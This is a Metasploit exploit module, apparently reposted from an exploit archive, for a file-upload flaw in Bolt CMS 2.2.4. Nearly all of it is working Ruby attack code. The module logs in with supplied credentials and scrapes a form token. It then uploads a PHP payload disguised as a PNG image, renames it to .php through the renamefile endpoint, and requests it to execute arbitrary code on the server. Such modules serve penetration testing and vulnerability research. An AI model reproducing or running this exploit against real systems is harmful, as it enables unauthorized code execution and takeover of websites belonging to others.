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CMS Bolt 2.2.4 File Upload

Posted on 15 September 2015

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper

 def initialize(info = {})
 super(update_info(
 info,
 'Name' => 'CMS Bolt File Upload Vulnerability',
 'Description' => %q{
 Bolt CMS contains a flaw that allows an authenticated remote
 attacker to execute arbitrary PHP code. This module was
 tested on version 2.2.4.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Tim Coen', # Vulnerability Disclosure
 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
 ],
 'References' =>
 [
 ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
 ],
 'DisclosureDate' => 'Aug 17 2015',
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' => [['Bolt 2.2.4', {}]],
 'DefaultTarget' => 0
 ))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
 OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
 OptString.new('USERNAME', [true, 'The username to authenticate with']),
 OptString.new('PASSWORD', [true, 'The password to authenticate with'])
 ], self.class)
 end

 def check
 cookie = bolt_login(username, password)
 return Exploit::CheckCode::Detected unless cookie

 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'bolt'),
 'cookie' => cookie
 )

 if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
 return Exploit::CheckCode::Vulnerable
 end
 Exploit::CheckCode::Safe
 end

 def username
 datastore['USERNAME']
 end

 def password
 datastore['PASSWORD']
 end

 def fname
 datastore['FOLDERNAME']
 end

 def bolt_login(user, pass)
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
 )

 fail_with(Failure::Unreachable, 'No response received from the target.') unless res

 session_cookie = res.get_cookies
 vprint_status("#{peer} - Logging in...")
 res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
 'cookie' => session_cookie,
 'vars_post' => {
 'username' => user,
 'password' => pass,
 'action' => 'login'
 }
 )

 return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
 nil
 end

 def get_token(cookie, fname)
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
 'cookie' => cookie
 )

 if res && res.code == 200 && res.body =~ / name="form[_token]" value="(.+)" /
 return Regexp.last_match[1]
 end
 nil
 end

 def rename_payload(cookie, payload, fname)
 res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
 'vars_post' => {
 'namespace' => 'theme',
 'parent' => fname,
 'oldname' => "#{payload}.png",
 'newname' => "#{payload}.php"
 },
 'cookie' => cookie
 )

 return true if res && res.code == 200 && res.body.include?('1')
 nil
 end

 def exploit
 vprint_status("#{peer} - Authenticating using #{username}:#{password}")

 cookie = bolt_login(username, password)
 fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
 vprint_good("#{peer} - Authenticated with Bolt.")

 token = get_token(cookie, fname)
 fail_with(Failure::Unknown, 'No token found.') if token.nil?
 vprint_good("#{peer} - Token "#{token}" found.")

 vprint_status("#{peer} - Preparing payload...")
 payload_name = Rex::Text.rand_text_alpha_lower(10)

 data = Rex::MIME::Message.new
 data.add_part(payload.encoded, 'image/png', nil, "form-data; name="form[FileUpload][]"; filename="#{payload_name}.png"")
 data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
 post_data = data.to_s

 vprint_status("#{peer} - Uploading payload...")
 res = send_request_cgi(
 'method' => 'POST',
 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
 'ctype' => "multipart/form-data; boundary=#{data.bound}",
 'data' => post_data,
 'cookie' => cookie
 )

 fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
 vprint_good("#{peer} - Uploaded the payload.")

 rename = rename_payload(cookie, payload_name, fname)
 fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?

 php_file_name = "#{payload_name}.php"
 payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
 vprint_status("#{peer} - Parsed response.")

 register_files_for_cleanup(php_file_name)
 vprint_status("#{peer} - Executing the payload at #{payload_url}.")
 send_request_cgi(
 'uri' => payload_url,
 'method' => 'GET'
 )
 end
end

 

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